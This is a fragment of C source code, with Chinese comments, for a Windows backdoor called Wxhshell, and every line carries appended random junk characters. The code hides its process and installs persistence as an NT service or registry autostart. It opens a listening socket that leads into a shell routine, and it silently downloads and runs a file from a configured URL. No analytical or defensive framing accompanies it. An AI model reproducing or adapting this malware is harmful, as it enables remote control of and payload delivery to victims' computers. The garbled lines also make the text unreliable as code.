typedef struct 0 V]MAuD($
{ NB'G{),)Z
DWORD ExitStatus; qLb~^'<iD
DWORD PebBaseAddress; \b"|p%CL8
DWORD AffinityMask; )4s7,R
DWORD BasePriority; !v=/f_6
ULONG UniqueProcessId; @&&}J
ULONG InheritedFromUniqueProcessId; iHf):J?8
y
} PROCESS_BASIC_INFORMATION; zjcSn7iu
f{O-\
PROCNTQSIP NtQueryInformationProcess; KehM.c^
zDtC]y'
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >R6mI
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zA+0jhuG
r#1W$~?>
HANDLE hProcess; X(Mpg[,N"
PROCESS_BASIC_INFORMATION pbi; .o]I^3tfc
"M/) LXn:0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q(aNa!
if(NULL == hInst ) return 0; /F"eqMN
I0Allw[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fJ5mKN
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .57Fh)Y
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "q= ss:(
?SO!INJ
if (!NtQueryInformationProcess) return 0; zh=0zJ
}1[s ,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /U!B2%vq_
if(!hProcess) return 0; +aM[!pW(e
st)v'ce,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a'Odw2Q_
nHDKe)V
CloseHandle(hProcess); 1BW 9,Xr
jVOq/o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'q~<ZO
if(hProcess==NULL) return 0; 40`Qsv0#
a JjUy%
HMODULE hMod; /=AFle2(
char procName[255]; 3)o>sp)Ji$
unsigned long cbNeeded; [.xc`CF
SB('Nqih
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hWFOed4C
>Z3>
CloseHandle(hProcess); -Q5UT=^
2_3os
P\Z
if(strstr(procName,"services")) return 1; // 以服务启动 v 5pkP
c/^:vTF
return 0; // 注册表启动 F;_o `h
} Qx|HvT2P
toPFkc6`
// 主模块 W)]&G}U<
int StartWxhshell(LPSTR lpCmdLine) p$x>I3C(\
{ I8T*_u^_
SOCKET wsl; Ah@e9`_r
BOOL val=TRUE; [Y.JC'F#
int port=0; g$"x,:2x{
struct sockaddr_in door; ujBm"p_|
B:UPSX)A
if(wscfg.ws_autoins) Install(); %uV,p!| )
#
c1LOz
port=atoi(lpCmdLine); 5Rw2/J
L
e:4,rfF1
if(port<=0) port=wscfg.ws_port; hJ[keaO
}1V+8'D
WSADATA data; JzCkVF$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z rNH:Z:5
KVEc:<|x
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _99 +Vjy
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m8F
\ESL
door.sin_family = AF_INET; e];IQ|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |E$q S)y
door.sin_port = htons(port); }W!w
a;U)#*(5|v
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JgP%4)]LV
closesocket(wsl); A/}[Z\C
return 1; }2*qv4},!
} !blGc$kC
L[Y$ `e{zd
if(listen(wsl,2) == INVALID_SOCKET) { zPHx\z"
closesocket(wsl); i,Z-UA|f=T
return 1; .=G3wox3
} s[UV(::E
Wxhshell(wsl); hR2 R
WSACleanup(); c w)J+Lyh
FqnD"]A
return 0; + `'wY?
CK4#ZOiaa
} jgXr2JQ<
&dj/Dq@
// 以NT服务方式启动 edpR x"_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3xP<J)S0
{ #n.v#FyNx
DWORD status = 0; IQ~Anp^R
DWORD specificError = 0xfffffff; 8::y5Yv]
Lp }V 94xT
serviceStatus.dwServiceType = SERVICE_WIN32; !H c6$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; vZS/?pU~~
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;"EDFH#W
serviceStatus.dwWin32ExitCode = 0; SJLs3iz_)
serviceStatus.dwServiceSpecificExitCode = 0; /4+zT?f
serviceStatus.dwCheckPoint = 0; #wvGS%
serviceStatus.dwWaitHint = 0; zp'hA
(M{wkQTO
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |d6/gSiF
if (hServiceStatusHandle==0) return; ;O,&MR{;|n
=)i^E9
status = GetLastError(); Y Kp@n8A
if (status!=NO_ERROR) L.K| ]]u
{ mKV31wvK}
serviceStatus.dwCurrentState = SERVICE_STOPPED; pK_zq
serviceStatus.dwCheckPoint = 0; ;"9Ks.
serviceStatus.dwWaitHint = 0; &+oJPpHi\
serviceStatus.dwWin32ExitCode = status; |na9I6
serviceStatus.dwServiceSpecificExitCode = specificError; Sa.nUj{M=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SbMRrWy
return; aWLA6A+C&
} (8o;Cm
.9g :-hv
serviceStatus.dwCurrentState = SERVICE_RUNNING; tx+P@9M_Aq
serviceStatus.dwCheckPoint = 0; S}0-2T[
serviceStatus.dwWaitHint = 0; &A/b9GW^-
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7OXRR)]V
} =*+f2
8<Yv:8%B6
// 处理NT服务事件,比如:启动、停止 >
9z-/e
VOID WINAPI NTServiceHandler(DWORD fdwControl) vKdS1Dn1
{ g?}h*~<b
switch(fdwControl) TBF{@{.d
{ ,1<6=vL
case SERVICE_CONTROL_STOP: OzRo
serviceStatus.dwWin32ExitCode = 0; w+!V,lU"^
serviceStatus.dwCurrentState = SERVICE_STOPPED; :l
Z\=2D
serviceStatus.dwCheckPoint = 0; 8/,s8u
serviceStatus.dwWaitHint = 0; }
MP_
{ \fUVWXv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B"*PBJuOA
} ga;t`5+d
return; F60m]NUM)c
case SERVICE_CONTROL_PAUSE: 7pep\
serviceStatus.dwCurrentState = SERVICE_PAUSED; }PDtx:T-
break; AtAu$"ue
case SERVICE_CONTROL_CONTINUE: 6*>vie
serviceStatus.dwCurrentState = SERVICE_RUNNING; q
%tq9%
break; i{Q,>Rt
case SERVICE_CONTROL_INTERROGATE: 7Ot&]M
break; ?G&J_L=@Y
}; Dp^=% F{t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~:_10g]r
} TDg<&ND3
XC/M:2$
// 标准应用程序主函数 Z%3)w.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NJoHrhC='
{ QOJ5
|
ObA=[j
// 获取操作系统版本 }J\7IsM&
OsIsNt=GetOsVer(); C^U>{jf !
GetModuleFileName(NULL,ExeFile,MAX_PATH); q="ymx~
+= gU`<\
// 从命令行安装 we*E}U4
if(strpbrk(lpCmdLine,"iI")) Install(); z! k
7vGAuTfi/@
// 下载执行文件 Yc5)
^v
if(wscfg.ws_downexe) { EF 8rh
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w5Ucj*A\
WinExec(wscfg.ws_filenam,SW_HIDE); j \ #y
} d1*0?G TT
4}YHg&@\d%
if(!OsIsNt) { O=!Eqa ExW
// 如果时win9x,隐藏进程并且设置为注册表启动 LR"7e
HideProc(); &oK&vgcj
StartWxhshell(lpCmdLine); jcxeXp|00
} su8()]|0x
else [e:ccm
if(StartFromService()) [,z>msEB.
// 以服务方式启动 6-{wo)p
StartServiceCtrlDispatcher(DispatchTable); {;JFoe+
else *tDxwD7
// 普通方式启动 .^rsVNG
StartWxhshell(lpCmdLine); '0qKb*
S^i<_?nwg
return 0; v:9Vp{)
}